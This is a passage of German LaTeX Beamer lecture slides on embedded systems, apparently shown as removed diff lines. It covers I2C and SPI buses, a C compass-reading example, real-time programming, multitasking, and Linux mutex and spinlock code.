- \newterm{SDA\/}: 1 Leitung für Daten (in beiden Richtungen)
- \item
- \newterm{SCL\/}: Taktleitung (Clock)
- \item
- \newterm{GND\/}: gemeinsame Masse
- \item
- evtl.\ \newterm{VCC\/}: Stromversorgung für Peripheriegerät
- \end{itemize}
-
- \medskip
-
- synchron
- \begin{itemize}
- \item
- Abgleich über\\Taktleitung
- \begin{picture}(0,0)
- \put(0.4,-0.4){\includegraphics[width=9.7cm]{I2C_data_transfer.pdf}}
- \end{picture}
- \end{itemize}
-
- \medskip
-
- busfähig
- \begin{itemize}
- \item
- \newterm{Master\/} initiiert Kommuniation und steuert Taktleitung
- \item
- erstes gesendetes Byte: \newterm{Adresse\/} des Teilnehmers
- \item
- 2 Adressen pro Teilnehmer: Lesen/Schreiben
- \end{itemize}
- \vspace*{-1cm}
-\end{frame}
-
-\subsection{SPI}
-
-\begin{frame}
- \showsection
- \showsubsection
-
- Serial Peripheral Interface
-
- \medskip
-
- seriell
- \begin{itemize}
- \item
- \newterm{MISO\/}: Master Out, Slave In
- \item
- \newterm{MOSI\/}: Master In, Slave Out
- \item
- \newterm{SCLK\/}: Taktleitung (Clock)
- \item
- \newterm{$\overline{\text{SS}}$\/}: Slave Select (invertiert)
- \item
- \newterm{GND\/}: gemeinsame Masse
- \item
- evtl.\ \newterm{VCC\/}: Stromversorgung für Peripheriegerät
- \end{itemize}
-
- \medskip
-
- synchron
- \begin{itemize}
- \item
- Abgleich über Taktleitung
- \end{itemize}
-
- \medskip
-
- busfähig
- \begin{itemize}
- \item
- \newterm{Master\/} initiiert Kommuniation und steuert Taktleitung
- \item
- \newterm{Slave\/} wird über \newterm{Slave Select\/} ausgewählt
- \begin{picture}(0,0)
- \only<1>{\put(-2.175,2.875){\includegraphics[scale=0.7]{SPI_single_slave.pdf}}}
- \only<2>{\put(-2.0,3.0){\includegraphics[scale=0.7]{SPI_three_slaves.pdf}}}
- \only<2>{\put(2.55,3.1){\begin{minipage}[t]{2.5cm}
- \newterm{Stern}
- \end{minipage}}}
- \only<3->{\put(-2.0,3.0){\includegraphics[scale=0.7]{SPI_three_slaves_daisy_chained.pdf}}}
- \only<3->{\put(2.55,3.1){\begin{minipage}[t]{2.5cm}
- \newterm{Kaskade}\\
- \newterm{Daisy Chain}\pause[4]\par\smallskip
- \setlength{\leftskip}{-3.5cm}\small
- Slave gibt MOSI-Input um 1 Takt verzögert
- an MISO aus \textarrow\ Master setzt
- "`im richtigen Moment"' $\overline{\text{SS}}$
- \end{minipage}}}
- \end{picture}
- \end{itemize}
- \vspace*{-1cm}
-
-\end{frame}
-
-
-\subsection{Beispiel: Benutzung des \protect\ItwoC-Busses}
-
-\begin{frame}[fragile]
-
- \showsection
- \showsubsection
-
- \begin{picture}(0,0)
- \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}}
- \end{picture}%
-
- \begin{onlyenv}<1>
- \begin{lstlisting}[gobble=6]
- void read_compass (uint16_t *x, uint16_t *y)
- {
- I2CTWI_transmit2Bytes (0x60, 0x00, 0x02); // set coil
- mSleep (1);
- I2CTWI_transmit2Bytes (0x60, 0x00, 0x04); // reset coil
- mSleep (5);
- uint8_t result[5];
- I2CTWI_transmit2Bytes (0x60, 0x00, 0x01); // Messung starten
- mSleep (5); // 5ms warten, bis Sensor fertig gemessen hat
- I2CTWI_transmitByte (0x60, 0x01); // Leseindex setzen
- I2CTWI_readBytes (0x61, result, 4); // lesen: msb x, lsb x, msb y, lsb y
- result[0] &= 0b00001111; // Unwichtge Bits vom msb abschneiden
- result[2] &= 0b00001111;
- *x = (result[0] << 8) + result[1]; // Wert berechnen aus msb und lsb
- *y = (result[2] << 8) + result[3];
- }
- \end{lstlisting}
- \end{onlyenv}
- \begin{onlyenv}<2-3>
- \begin{lstlisting}[gobble=6,style=shy]
- ²void read_compass (uint16_t *x, uint16_t *y)
- { ... }
-
- int main (void)
- {
- uint16_t compass_x, compass_y;
- read_compass (&compass_x, &compass_y);¿
- ³writeInteger (compass_x, DEC);
- writeChar (' ');
- writeInteger (compass_y, DEC);
- writeChar ('\n');¿
- ²return 0;
- }¿
- \end{lstlisting}
- \end{onlyenv}
- \begin{onlyenv}<4->
- \begin{lstlisting}[gobble=6,style=shy]
- °void read_compass (uint16_t *x, uint16_t *y)
- {
- I2CTWI_transmit2Bytes (0x60, 0x00, 0x02); // set coil
- ¿mSleep (1);
- I2CTWI_transmit2Bytes (0x60, 0x00, 0x04); // reset coil
- mSleep (5);
- uint8_t result[5];
- I2CTWI_transmit2Bytes (0x60, 0x00, 0x01); // Messung starten
- mSleep (5); // 5ms warten, bis Sensor fertig gemessen hat
- I2CTWI_transmitByte (0x60, 0x01); // Leseindex setzen
- I2CTWI_readBytes (0x61, result, 4); // lesen: msb x, lsb x, msb y, lsb y
- result[0] &= 0b00001111; // Unwichtge Bits vom msb abschneiden
- result[2] &= 0b00001111;
- *x = (result[0] << 8) + result[1]; // Wert berechnen aus msb und lsb
- *y = (result[2] << 8) + result[3];
- °}¿
- \end{lstlisting}
- \end{onlyenv}
- \begin{onlyenv}<5-7>
- \begin{picture}(0,0)
- \color{red}
- \put(3.85,5.3){\vector(1,1){0.5}}
- \put(3.5,5.2){\makebox(0,0)[t]{\shortstack{Gerät adressieren:\\Schreib-Adresse}}}
- \end{picture}
- \end{onlyenv}
- \begin{onlyenv}<6-7>
- \begin{picture}(0,0)
- \color{red}
- \put(5.25,4.5){\vector(0,1){1.3}}
- \put(5.25,4.4){\makebox(0,0)[t]{\shortstack{Register-Nr.\\innerhalb des Geräts}}}
- \end{picture}
- \end{onlyenv}
- \begin{onlyenv}<7>
- \begin{picture}(0,0)
- \color{red}
- \put(6.6,5.3){\vector(-1,1){0.5}}
- \put(6.95,5.2){\makebox(0,0)[t]{Befehl: Spule an}}
- \end{picture}
- \end{onlyenv}
- \vspace*{-2cm}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
- \showsection
- \showsubsection
-
- \begin{picture}(0,0)
- \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}}
- \end{picture}%
-
- \begin{lstlisting}[style=shy]
- ¡void read_compass (uint16_t *x, uint16_t *y)
- {
- I2CTWI_transmit2Bytes (0x60, 0x00, 0x02); // set coil
- mSleep (1);
- I2CTWI_transmit2Bytes (0x60, 0x00, 0x04); // reset coil
- mSleep (5);
- ¿²uint8_t result[5];
- I2CTWI_transmit2Bytes (0x60, 0x00, 0x01); // Messung starten
- mSleep (5); // 5ms warten, bis Sensor fertig gemessen hat
- ¿³I2CTWI_transmitByte (0x60, 0x01); // Leseindex setzen
- ¿°I2CTWI_readBytes (0x61, result, 4); // lesen: msb x, lsb x, msb y, lsb y
- result[0] &= 0b00001111; // Unwichtge Bits vom msb abschneiden
- result[2] &= 0b00001111;
- *x = (result[0] << 8) + result[1]; // Wert berechnen aus msb und lsb
- *y = (result[2] << 8) + result[3];
- ¿¡}¿
- \end{lstlisting}
- \vspace*{-2cm}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
- \showsection
- \showsubsection
-
- \begin{picture}(0,0)
- \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}}
- \end{picture}%
- Messung:\\
- Roboter im Kreis drehen lassen,\\
- x- und y-Werte aufzeichnen\\
- und gegeneinander auftragen
-
- \smallskip
- Ergebnis: Ellipse
- \begin{picture}(0,0)(0,0.5)
- \put(5,-3){\includegraphics[height=4cm]{kompass-messung.png}}
- \end{picture}%
-
- \bigskip
- Anwendung:\\
- Roboter in eine Himmelsrichtung ausrichten
- \begin{itemize}
- \item
- Achsen normieren:\\
- Mittelwert subtrahieren
- \begin{picture}(0,0)(0,0.5)
- \put(3.75,0.95){\vector(1,0){4}}
- \put(7.55,0.90){\makebox(0,0)[t]{x}}
- \put(5.75,-1.05){\vector(0,1){4}}
- \put(5.75,2.95){\makebox(0,0)[r]{y}}
- \end{picture}%
- \item
- Nulldurchgang einer Achse\\
- markiert eine Himmelsrichtung
- \item
- Vorzeichen der anderen Achse\\
- sagt aus, welche Himmelsrichtung
- \end{itemize}
- \vspace{-0.5cm}
- \begin{flushright}
- Beispiel: nach Norden ausrichten\\
- Grob drehen, bis $y$ positiv ist,
- fein drehen, bis $x = 0$ ist
- \end{flushright}
-% $x = 0$, $y$ positiv: Norden\\
-% $x = 0$, $y$ negativ: Süden
-% $y = 0$, $x < 0$: Westen
-% $y = 0$, $x > 0$: Osten
- \vspace*{-2cm}
-
-\end{frame}
-
-\nosectionnonumber{\inserttitle}
-
-\begin{frame}
-
- \shownosectionnonumber
-
- \begin{itemize}
- \item[\textbf{1}] \textbf{Was sind eingebettete Systeme?}
- \item[\textbf{2}] \textbf{Einführung in Unix}
- \item[\textbf{3}] \textbf{Arrays und Pointer für Fortgeschrittene}
- \item[\textbf{4}] \textbf{TCP/IP-Netzwerke in der Praxis}
- \item[\textbf{5}] \textbf{Bus-Systeme}
- \begin{itemize}
- \color{medgreen}
- \item[5.1] Was sind Bus-Systeme?
- \item[5.2] RS-232
- \item[5.3] \ItwoC\ (TWI)
- \item[5.4] SPI
- \item[5.5] Beispiel: Benutzung des \ItwoC-Busses
- \end{itemize}
- \item[\textbf{6}] \textbf{Echtzeit}
- \begin{itemize}
- \color{red}
- \item[5.1] Was ist Echtzeit?
- \item[5.2] Echtzeitprogrammierung
- \item[5.3] Multitasking
- \item[5.4] Ressourcen
- \item[5.5] Prioritäten
- \end{itemize}
- \end{itemize}
-
-\end{frame}
-
-\section{Echtzeit}
-
-\subsection{Was ist Echtzeit?}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- \begin{itemize}
- \pause
- \item
- Animation in Echtzeit:\\
- schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung
- \pause
- \medskip
- \item
- Fantasy-Rollenspiel in Echtzeit:\\
- Der Zeitverlauf der Spielwelt entspricht dem der realen Welt.
- \pause
- \medskip
- \item
- Datenverarbeitung in Echtzeit:\\
- Die Daten werden so schnell verarbeitet, wie sie anfallen.
- \pause
- \medskip
- \item
- speziell: Echtzeit-Steuerung von Maschinen:\\
- Die Berechnung kann mit den physikalischen Vorgängen schritthalten.
- \pause
- \bigskip
- \arrowitem
- "`Schnell genug."'
- \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
- \showsubsection
-
- "`Schnell genug."' \pause-- "`Und wenn nicht?"'
-
- \pause
-
- \begin{itemize}
- \item
- "`Ganz schlecht."' \pause\textarrow\ \newterm{harte Echtzeit}
- \begin{onlyenv}<4-8>
- \begin{picture}(0,0)(0,-0.3)
- \pause
- \put(0,-4){\makebox(0,0)[br]{\includegraphics[height=3.5cm]{a380.jpg}}}
- % http://de.wikipedia.org/w/index.php?title=Datei:Airbus_A380_overfly.jpg&filetimestamp=20111223141606
- \pause
- \put(0.2,-3.9){\makebox(0,0)[bl]{\includegraphics[height=4.0cm]{quadrocopter.jpg}}}
- %\put(0.2,-3.5){\makebox(0,0)[bl]{\includegraphics[height=3.5cm]{mercedes-benz-w116.jpg}}}
- % http://commons.wikimedia.org/wiki/File:1973-1980_Mercedes-Benz_450_SEL_%28W116%29_sedan_%282010-12-28%29_01.jpg
- \pause
- \put(-0.5,-4.2){\makebox(0,0)[tr]{\includegraphics[height=3.5cm]{herzschrittmacher.jpg}}}
- % http://de.wikipedia.org/w/index.php?title=Datei:Pacemaker_GuidantMeridianSR.jpg&filetimestamp=20051203173642
- \pause
- \put(0,-4){\makebox(0,0)[tl]{\includegraphics[height=3.5cm]{curiosity.jpg}}}
- % http://mars.jpl.nasa.gov/msl/news/whatsnew/index.cfm?FuseAction=ShowNews&NewsID=1344
- \end{picture}
- \end{onlyenv}
- \pause\\[2pt]
- rechtzeitiges Ergebnis funktionsentscheidend
-
- \smallskip
-
- \pause
- \item
- "`Unschön."' \textarrow\ \newterm{weiche Echtzeit}
- \begin{onlyenv}<10-12>
- \begin{picture}(0,0)(0,0.3)
- \pause
- \put(0,-4){\makebox(0,0)[br]{\includegraphics[width=5cm]{Retribution_Engine_Screenshot_120807.jpg}}}
- % http://en.wikipedia.org/wiki/File:Retribution_Engine_Screenshot_120807.jpg
- \pause
- \put(0.1,-4.5){\makebox(0,0)[bl]{\includegraphics[width=5cm]{Telefon_t-sinus-700.jpg}}}
- % http://de.wikipedia.org/w/index.php?title=Datei:Telefon_t-sinus-700.jpg&filetimestamp=20050807203655
- \end{picture}
- \end{onlyenv}
- \pause\\[2pt]
- verspätetes Ergebnis qualitätsmindernd
- \begin{itemize}
- \baselineskip14pt\par
- \item
- verwenden und Verzögerung in Kauf nehmen
- \item
- verwerfen und Ausfall in Kauf nehmen
- \end{itemize}
-
- \smallskip
-
- \pause
- \item
- "`Es gibt keinen festen Termin. Möglichst schnell halt."'\pause\\[2pt]
- \textarrow\ \newterm{keine Echtzeit}
- \end{itemize}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
- \showsubsection
-
- Das Problem:
- \vspace{-\bigskipamount}
- \begin{center}
- \begin{picture}(6,2)
- \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
- \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-% \put(2.75,0.875){\vector(1,3){0.25}}
-% \put(2.75,0.875){\line(2,1){0.5}}
-% \put(3.25,1.125){\vector(-1,-3){0.25}}
- \put(2.70,0.350){\tikz{\draw[latex-latex](0.25,0.625)--(0,-0.12)--(0.5,0.12)--(0.25,-0.625);}}
- \end{picture}
-% \begin{pdfpic}
-% \begin{pspicture}(6,2)
-% \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-% \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-% \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-% \end{pspicture}
-% \end{pdfpic}
- \end{center}
-
- \pause
-
- Beispiel:
- \begin{itemize}
- \item
- Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\
- dessen Berechnung maximal \SI{10}{\mics} dauert.
- \pause[3]
- \item
- Entweder: Der Steuer-Computer macht noch andere Dinge.\\
- \textarrow\ Risiko der Zeitüberschreitung
- \pause
- \item
- Oder: Der Steuer-Computer macht nichts anderes.\\
- \textarrow\ Verschwendung von Rechenzeit\\
- \pause
- {\color{red}\textarrow\ Na und?}
- \end{itemize}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
- \showsubsection
-
- Das Problem:
- \vspace{-\bigskipamount}
- \begin{center}
- \begin{picture}(6,2)
- \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
- \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-% \put(2.75,0.875){\vector(1,3){0.25}}
-% \put(2.75,0.875){\line(2,1){0.5}}
-% \put(3.25,1.125){\vector(-1,-3){0.25}}
- \put(2.70,0.350){\tikz{\draw[latex-latex](0.25,0.625)--(0,-0.12)--(0.5,0.12)--(0.25,-0.625);}}
- \end{picture}
-% \begin{pdfpic}
-% \begin{pspicture}(6,2)
-% \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-% \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-% \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-% \end{pspicture}
-% \end{pdfpic}
- \end{center}
-
- \medskip
-
- {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}}
-
- \medskip
-
- \pause
- Große Stückzahlen
- \begin{itemize}
- \item
- 138\,000 Toyota Prius V von Mai 2011 bis April 2012
- \end{itemize}
-
- \medskip
-
- \pause
- Wertvolle Ressourcen
- \begin{itemize}
- \item
- Fähigkeiten einer Raumsonde optimieren
- % (Marsumlaufbahn: ab ca.~127\,000 Euro pro kg)
- % 70000000 / 550000 = 127._27
- % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/
- \only<.(1)>{\\[\medskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.3cm]{curiosity.jpg}}\vspace*{-1cm}}
- \pause
- \item
- Implantat: Platz- und Stromverbrauch minimieren
- \only<.(1)>{\\\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}\vspace*{-1cm}}
- \end{itemize}
-
- \bigskip
-
- \pause
- \textarrow\ {\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt]
- \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden
-
-\end{frame}
-
-\subsection{Echtzeitprogrammierung}
-
-\begin{frame}
-
- \showsubsection
-
- Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden
-
- \bigskip
-
- \alt<.(1)>{Aber wie?}{Beispiele für Lösungen:}
-
- \begin{itemize}
- \pause
- \item
- ZigBee-Modul:\only<.(1)>{\hfill\makebox(0,0)[tr]{\includegraphics[width=5cm]{xbee.jpg}}}\\
- % http://commons.wikimedia.org/wiki/File:Arduino_xbee.JPG
- Funk- vs.\ UART-Protokoll\\
- \textarrow\ dedizierte Hardware
- \pause
- \item
- RP6:\\
- Motorsteuerung vs.\ Anwender-Software\\
- \textarrow\ spezielle Software
- \only<.(1)>{\hfill\makebox(0,0)[r]{\includegraphics[width=5cm]{rp6.jpg}}}
- \pause
- \item
- Quadrocopter:\\
- Motorsteuerung vs.\ Sensoren-Abfrage\\
- vs.\ Funk-Fernsteuerung \dots\\
- \textarrow\ spezielle Software
- \only<.(1)>{\hfill\makebox(0,0)[br]{\includegraphics[width=5cm]{quadrocopter.jpg}}}\\
- \pause
- \item
- Flugzeugkabinensimulatortür:\\
- Türsteuerung vs.\ Bedienung\\
- \textarrow\ Echtzeitbetriebssystem
- \only<.(1)>{\\[-3.2cm]\strut\hfill\makebox(0,0)[r]{\includegraphics[angle=-90,width=5cm]{dsc_8208.jpg}}}
- \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
- \showsubsection
-
- Quadrocopter-Steuerung \emph{MultiWii}
- \begin{itemize}
- \item
- Konfiguration durch bedingte Compilierung (Präprozessor)
- \item
- In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
- ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
- \end{itemize}
-
- \pause
-
- RP6-Steuerung
- \begin{itemize}
- \item
- Konfiguration durch bedingte Compilierung (Präprozessor)
- \item
- Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
- Die Interrupt-Handler zählen Variable hoch.
- \item
- 10000mal pro Sekunde: Timer-Interrupt\\
- Durch Zähler im Interrupt-Handler: verschiedene Taktraten\\
- 1000mal pro Sekunde: Stopwatches\\
- 5mal pro Sekunde: Blinkende Power-On-LED\\
- 1000mal pro Sekunde: Bumper, ACS, PWM zur Motorsteuerung\\
- Geschwindigkeitsmessung durch Zählen der Ticks in 0.2\,s\\
- Anpassung der Motorkraft in $\pm$1-Schritten
- \pause
- \item
- Nebenbei: \only<4->{1 }Benutzerprogramm
- \end{itemize}
-
-\end{frame}
-
-\subsection{Multitasking}
-
-\begin{frame}
-
- \showsubsection
-
- \begin{itemize}
- \item
- \newterm{Kooperatives Multitasking}\\
- Prozesse geben freiwillig Rechenzeit ab
- \item
- \newterm{Präemptives Multitasking}\\
- Das Betriebssystem unterbricht laufende Prozesse\\
- (englisch: \emph{to pre-empt\/} -- jemandem zuvorkommen)
- \bigskip
- \item
- \newterm{Scheduler}\\
- Steuerprogramm, das Prozessen Rechenzeit zuteilt
- \item
- \newterm{Kontextwechsel}\\
- Umschalten zwischen zwei Prozessen
- \item
- \newterm{Round-Robin-Verfahren (Rundlauf)}\\
- Zuteilung von \newterm{Zeitschlitzen\/} auf einer \newterm{Zeitscheibe} an die Prozesse
- \bigskip
- \pause
- \item
- Ausblick: Zuteilung von Rechenzeit = wichtiger Spezialfall\\
- allgemein: Zuteilung von Ressourcen
- \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Beispiele für Multitasking}
-
-\begin{frame}
-
- \showsubsectionnonumber
-
- Quadrocopter-Steuerung \emph{MultiWii}
- \begin{itemize}
- \item
- Konfiguration durch bedingte Compilierung (Präprozessor)
- \item
- In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
- ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
- \end{itemize}
-
- RP6-Steuerung
- \begin{itemize}
- \item
- Konfiguration durch bedingte Compilierung (Präprozessor)
- \item
- Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
- Die Interrupt-Handler zählen Variable hoch.
- \item
- 10000mal pro Sekunde: Timer-Interrupt\\
- verschiedene Tasks werden unterschiedlich häufig aufgerufen
- \item
- Nebenbei: 1 Benutzerprogramm
- \end{itemize}
-
- Linux 0.01
- \begin{itemize}
- \item
- Timer-Interrupt:\only<2->{ Zähler des aktuellen Tasks wird dekrementiert;}\\
- Task mit höchstem Zähler bekommt Rechenzeit.
- \item
- Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\
- bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen.
- \item
- \emph{keine\/} harte Echtzeit
- % Aufgabe: Wo wird der Zähler heruntergezählt?
- \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Zombies}
-
-\begin{frame}
-
- \showsubsectionnonumber
-
- \pause
- Wikipedia:
- \begin{quote}
- Als Zombie wird die fiktive Figur eines zum Leben erweckten
- Toten (Untoter) oder eines seiner Seele beraubten, willenlosen
- Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe
- aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet
- dort ursprünglich einen Totengeist.
- \end{quote}
-
- \bigskip
-
- \pause
- Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\
- bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\
- hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\
- wird aber noch in der Prozeßliste geführt ("`untot"').
- \begin{itemize}
- \pause
- \item
- Warum?
- \textarrow\
- Ein anderer Prozeß (Elternprozeß) wartet noch auf den
- Rückgabewert des beendeten Prozesses.
- \pause
- \item
- Schadet das?
- \textarrow\
- Nein.
- \pause
- \item
- Aber?
- \textarrow\
- Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen
- Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'.
- \pause
- \item
- Beispiel:
- Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\
- \textarrow\
- Tochterprozesse werden zu Zombies.
- \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Multitasking}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- \begin{minipage}[t]{6cm}
- Qualitätssicherung beim Multitasking
- \begin{itemize}
- \item<3->
- Verschiedene Anforderungen:
- \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\
- vs.\ \newterm{Durchsatz}
- \smallskip
- \begin{onlyenv}<4>
- \begin{itemize}
- \item
- \newterm{Latenz:} interaktive Anwendungen
- \item
- \newterm{Jitter:} Echtzeitanwendungen
- \item
- \newterm{Durchsatz:} Stapelverarbeitung
- \end{itemize}
- \vspace*{-3cm}
- \end{onlyenv}
- \item<5->
- Ressourcen reservieren:\\
- \newterm{Mutexe}
- \only<6->{(= spezielle \newterm{Semaphore\/})\\}
- \only<7->{\textarrow\ kommt gleich}
- \item<8->
- Verschiedene Methoden\\
- der Priorisierung\\
- \textarrow\ später\\
- \strut
- \item<9->
- Umgehung der Probleme durch
- speziell geschriebene Software\\
- (MultiWii, RP6, \dots)
- \end{itemize}
- \end{minipage}
- \hfill
- \pause
- \begin{minipage}[t]{6.2cm}
- Qualitätssicherung für Netzwerke:
- \begin{itemize}
- \item
- Verschiedene Anforderungen:
- \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz}
- \item
- Ressourcen reservieren:\\
- \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)}
- \item
- Klassifizierung und Priorisierung:
- \newterm{DiffServ} mit Type-of-Service-Bits (IPv4)
- bzw.\ Traffic-Class-Bits (IPv6) im IP-Header
- \item
- Eigenes Protokoll (Telefondienste):\\
- \newterm{Asynchronous Transfer Mode (ATM)}
- \end{itemize}
- \end{minipage}
-
-\end{frame}
-
-\subsection{Ressourcen}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ressourcen reservieren
- \begin{itemize}
- \item
- \newterm{Semaphor}\\
- gemeinsame Variable mehrerer Prozesse\\
- zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
- Ressource belegt \textarrow\ Kontextwechsel
- \begin{onlyenv}<1>
- \par\medskip
- griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\
- "`Eisenbahnsignal"'
- \vspace*{-3cm}
- \end{onlyenv}
- \pause
- \medskip
- \item
- \newterm{Mutex}\\
- Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
- auf eine Ressource zugreifen kann
- \begin{onlyenv}<2>
- \par\medskip
- englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\
- spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\
- % allgemein: auch jemand anderer dürfte freigeben
- \vspace*{-3cm}
- \end{onlyenv}
- \pause
- \medskip
- \item
- \newterm{Spinlock} (\emph{busy waiting\/})\\
- leichtgewichtige Alternative zu Kontextwechsel
- \begin{onlyenv}<3>
- \par\medskip
- englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\
- \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount]
- Hardware-Unterstützung:
- Prüfen, ob Variable bestimmten Wert hat;\\
- wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten
- \vspace*{-3cm}
- \end{onlyenv}
- \pause
- \medskip
- \item
- \newterm{Kritischer Abschnitt -- critical section}\\
- Programmabschnitt zwischen Reservierung\\
- und Freigabe einer Ressource\\
- \textarrow\ sollte immer so kurz wie möglich sein
- \end{itemize}
- \vspace*{-1cm}
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ressourcen reservieren --
- Beispiel: \file{linux-3.7rc1}
- \begin{itemize}
- \item
- \newterm{Semaphor}\\
- \file{kernel/semaphor.c}\\
- \file{drivers/usb/core/file.c}
- \medskip
- \item
- \newterm{Mutex}\\
- \file{kernel/mutex.c}\\
- \file{drivers/usb/serial/usb-serial.c}
- \medskip
- \item
- \newterm{Spinlock}\\
- \file{kernel/spinlock.c}\\
- \file{kernel/semaphor.c},
- \file{kernel/mutex.c}
- \end{itemize}
-
- % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
-
- % evtl. Aufgabe: Warte-Problem
-
- % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
- % das o.a. Zuteilungsproblem?
-
- % Danach: Semaphoren, Mutexe, Spinlocks
- % Priorisierungsmethoden und -probleme
-
- % Festplatten: completely fair queueing
- % cat /sys/block/sdc/queue/scheduler
- % "noop" hat sich für SVG gelohnt
-
- % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos
-
-\end{frame}
-
-\begin{frame}[fragile]
-
- \textbf{Beispiel:}
- \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren
-
- Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
- \medskip
-
- \begin{lstlisting}
- struct usb_serial *usb_serial_get_by_index (unsigned index)
- {
- struct usb_serial *serial;
- mutex_lock (&table_lock);
- serial = serial_table[index];
- if (serial)
- {
- mutex_lock (&serial->disc_mutex);
- if (serial->disconnected)
- {
- mutex_unlock (&serial->disc_mutex);
- serial = NULL;
- }
- else
- kref_get (&serial->kref);
- }
- mutex_unlock (&table_lock);
- return serial;
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(5.1,6.85){\vector(-1,0){0.5}}
- \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}}
- \put(5.4,1.35){\vector(-1,0){0.5}}
- \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}}
- \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{48cm}
-
-\begin{frame}[fragile]
-
- \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten
-
- Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
- \medskip
-
- \begin{lstlisting}
- void __sched mutex_lock (struct mutex *lock)
- {
- might_sleep ();
- __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath);
- mutex_set_owner (lock);
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(11.6,1.35){\line(-1,0){1}}
- \put(11.6,1.35){\line(0,-1){2.45}}
- \put(11.6,-1.10){\vector(-1,0){2.0}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24
-
- Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert)
-
- \medskip
-
- Assembler:
- \begin{lstlisting}[language={[x86masm]Assembler}]
- lock dec (lock->count)
- jns 1
- call __mutex_lock_slowpath
- 1:
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(9,0.95){\line(-1,0){3.5}}
- \put(9,0.95){\line(0,-1){2.5}}
- \put(9.0,-1.55){\vector(-1,0){1.0}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398
-
- \medskip
-
